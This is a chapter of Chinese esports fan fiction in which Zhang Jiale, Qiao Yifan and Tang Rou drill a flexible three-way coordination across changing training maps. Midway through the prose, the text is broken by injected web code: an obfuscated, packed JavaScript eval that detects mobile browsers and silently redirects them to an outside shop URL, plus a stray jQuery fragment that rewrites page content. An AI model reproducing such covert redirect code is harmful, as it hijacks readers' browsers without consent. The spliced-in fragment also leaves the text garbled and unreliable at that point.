第一次完整成功以后,叶修做的第一件事不是让他们再复制十遍,而是换图。

    承重柱没了。

    废弃厂区被换成旧仓库,原本靠柱体制造出来的狭窄盲区变成了两排错开的货架。乔一帆刚看到新图时明显愣了一下,张佳乐却觉得这安排很正常——如果一套配合只能在某根柱子后成立,那他们练出来的不是战术,是旅游攻略。

    按原计划,他前一天下午就该坐在回去的车上了。行程作废以后,陈果没问他打算待到什么时候,他自己也没提。

    “信号还是原来的?”唐柔问。

    “先试。”张佳乐说。

    第一轮,失败。

    货架之间的视野比厂区更碎,浅花迷人的烟雾一铺,遮住了正面,也同时让一寸灰没法判断对方的转向。乔一帆起步太早,直接和一个从侧口出来的训练角色撞上。

    第二轮又失败。

    这次一寸灰位置没问题,寒烟柔却进早了。唐柔看见对方一个角色被闪光影响,下意识认为攻击窗口已经出现,等她真正贴近才发现冰阵还没有覆盖主要退路。

    第三轮,乔一帆自己取消。对面根本没按他们预想的方向看,再放闪光也只是浪费技能。

    到了第四轮,三个人才第一次在新图上把条件重新拼出来。张佳乐没有照搬原来的技能顺序,而是把烟雾位置向上抬,让它先遮高处视角;乔一帆从另一排货架之间切入;冰阵成形以后,唐柔也没有走正面最短路线,而是借货架边缘绕了半个身位,刚好把一个试图脱阵的目标拦回去。

    成功以后没有人提“再复制”,唐柔只说了三个字:“下一张。”

    第五张图是断墙。烟雾贴着墙根散不开,反而把一寸灰自己的视野也糊住了,头两轮乔一帆连起手位置都没找到。

    第六张有高低差,张佳乐第一次发现自己得把爆炸打在比目标更高的地方,光才落得下来。

    第七张甚至没有特别明显的遮挡物,张佳乐只能用爆炸本身去强行改变视线。随着地图变化,最开始那套固定时间轴越来越不重要:乔一帆不再死听第一枪,有时会根据对面动作提前,有时干脆晚一步;张佳乐也不再坚持闪光必须晚半秒——那半秒只是厂区那一个位置的答案,不是百花式的新公式。

    从头到尾被保留下来的只有三件事:先制造对方注意力的偏移;让一寸灰在偏移发生前后找到安全起手;寒烟柔不追“光”,只追确实成立的进入条件。

    训练越往后,队伍频道里的文字反而越少。必要时会有“一帆左”“治疗断”“正面可打”这样的短消息,但没人再试图用一整串文字把几秒后的所有动作写完。更多时候,角色自己就是信号:浅花迷人某一颗没有奔目标去的手雷,意味着视线要被带走;一寸灰开始向某个角度移动,唐柔自然知道阵位可能在那里;小手冰凉如果提前后撤半步,前排也会知道这次进入不能拉得太深。

    魏琛接手对面术士以后,训练难度明显又高了一截。他知道三个人在练什么,当然不会老老实实配合:第一次看见烟雾就提前移视角,第二次故意不处理浅花迷人的亮区,第三次甚至主动向一寸灰可能起手的位置压,把原本成立的视线差直接变成了诱饵。

    连续三轮失败。

    第四轮,张佳乐先让浅花迷人做了一次很假的大范围爆炸。

    魏琛没理。他已经知道这些光未必有后续,视角连偏都没偏。

    变化发生在另一侧。寒烟柔先正面逼迫一个训练角色交位移,一寸灰趁着术士视角仍在盯浅花迷人时从侧后起手。等魏琛发现,鬼阵已经亮起。

    “靠。”魏琛打完以后摘耳机,“还会拿老夫懂你们这件事来骗?”

    “你不是很懂吗?”张佳乐说。

    “懂也架不住你们不按昨天的来。”

    “那就对了。”

    这一句说完,张佳乐自己先停了一下。

    不按昨天的来。

    最初他们想解决的是一个很具体的问题:浅花迷人的光能不能替一寸灰藏一个阵位,再让寒烟柔从里面接攻击。练了几天以后,这个具体配合反而被拆散了——技能顺序可以换,地图位置可以换,甚至三个人谁先制造条件都能换。留下来的不是一套固定连招,而是三个人开始知道队友的变化可以怎样被自己拿走。

    换图带来的另一个结果,是原本很容易被当成“配合对象”的唐柔也被拆了出去。叶修安排了一轮让寒烟柔去另一侧单独牵制,只留下浅花迷人和一寸灰处理局部。没有战斗法师等着吃阵法收益以后,乔一帆最开始明显有些不适应,因为此前几次成功都以“阵成以后有人进入”作为收尾。张佳乐却没有替他找新的使用者,只问了一句:“阵本身能不能让他们改位置?”

    乔一帆愣了两秒,随后自己答了:“能。”

    阵鬼本来也不是为了给近战铺红地毯才存在。冰阵落下以后对手必须绕,绕开的方向就是新的空间;灰阵压住属性,可能让另一条线更容易交换;哪怕阵法最后没人进去完成击杀,只要它逼得对方重新站位,就已经有价值。乔一帆很快把思路从“怎么让唐柔进”转回“这个阵本身要干什么”,两轮以后打出一次更干净的区域分割——冰阵没有罩住任何人,却把对面三个角色挤到了同一条通道上,寒烟柔在另一侧从容地收掉了落单的那个。

    张佳乐看完只说:“这就对了。”

    “什么对了?”陈果问。

    “不是每次都非得有人从光里冲出来。”

    陈果听懂一半:“所以有时候就是炸着好看?”

    “……不是。”

    魏琛在旁边笑:“老板这个理解很有百花式观赏价值。”

    张佳乐懒得跟他们解释。他在意的是另一件事:这几天练出来的那些“信号”,正在脱离固定的收益对象。浅花迷人的技能可以给一寸灰藏起手,也可以只是把对面视角逼向一个不舒服的方向;鬼阵可以给寒烟柔创造进入,也可以单独切断路线。队友不是在学怎么围着他的百花式转,而是在学怎么读取战场里已经发生的变化。

    下午最后一张图,叶修又故意把张佳乐和乔一帆分开一轮。浅花迷人去了另一组,一寸灰和寒烟柔、包子入侵留在一起。没有弹药专家的光以后,乔一帆第一次去找的是包子的动作。包子从一条谁也没预料的窄路突然钻出来,把对面两个人的视角一起吸过去,一寸灰立即在另一侧起阵。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17908762|213068||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    这个机会粗糙得很,甚至称不上漂亮,却说明他已经没有把“空档”只和浅花迷人绑定。

    张佳乐在对面看得很清楚。包子的行动当然不可能写进什么固定战术,可对手因为他而转头是真实发生的——乔一帆利用的不是某一颗指定手雷,而是注意力发生了变化。那一瞬间他忽然觉得,叶修这几天不断拆组确实有点道理。要是最后练出来的只是“新人学会跟着大神的技能走”,兴欣就算短期变强,也不过是多了一套依赖某个人存在的答案。

    这种变化到了魏琛手里,很快又被故意放大。迎风布阵有一轮明明已经看见浅花迷人开始铺光,却反而朝最亮的方向多走了一步,摆明了在赌张佳乐“那里一定是假”。结果那一轮最亮的地方偏偏就是真攻击,术士当场被两枚手雷和寒烟柔的一记攻击夹住。

    魏琛摘耳机后很不服:“你刚才不是一直拿亮处骗人?”

    “骗久了就不能真打一次?”张佳乐说。

    叶修在旁边笑:“所以录像看多了也有副作用。”

    到这一步,他们要的东西才算出来了:不是让对手永远看不懂某一套固定配合,而是让同一种外观对应越来越多种可能。浅花迷人的爆炸可以是真攻击,可以是遮挡,可以是给阵鬼留起手,也可以什么都不接;一寸灰移动到某个位置,可能为了落阵,也可能只是逼对面分视角。条件一旦不再和唯一结果绑定,对手每一次判断都要多付一点成本。

    当然,这些都还只是训练室里的雏形。恰恰因为打过太多年职业,张佳乐才更清楚“队内训练里有效”和“职业对手面前有效”之间隔着多远。他没有给这套东西起什么新名字,也没觉得兴欣已经掌握了能横扫挑战赛的战术。眼下值得高兴的只有一点:几个人终于没有把成功建立在一句临场指令上,也没有把所有变化都绑在浅花迷人一个人身上。

    最后一轮,叶修把训练目标彻底取消。没有规定必须让一寸灰落阵,也没有规定寒烟柔必须利用浅花迷人的遮挡,双方只正常打一场。

    开局两分钟,张佳乐一直按自己的节奏控制区域,没有刻意给乔一帆“铺路”,唐柔也在正面和君莫笑拉扯。直到迎风布阵为了躲一枚冰雷向左移动,术士的视角和站位同时偏开,一寸灰突然从右侧开始吟唱。

    张佳乐看见了。

    没有打字。

    浅花迷人的下一枚闪光弹晚了半拍。这一拍不是计划好的,只是他看见乔一帆已经起手,顺手把视线遮挡补到最需要的时候。

    冰阵亮起。

    唐柔也看见了。

    寒烟柔没有正面硬冲,而是先用战矛把准备退开的气功师扫向阵边,控制区一下变得完整。浅花迷人仍留在外侧,把另一条退路封住。

    从头到尾,队伍频道只在稍早的时候出现过安文逸的一句“右线稳”。

    没有“成”。

    没有倒数。

    也没有谁告诉谁下一步必须怎么做。

    可那一刻,阵就是成了。

    训练结束以后,魏琛盯着回放看了一会儿,忽然说:“这画面有点像以前那个意思。”

    张佳乐知道他说的是什么。

    他也知道,不是。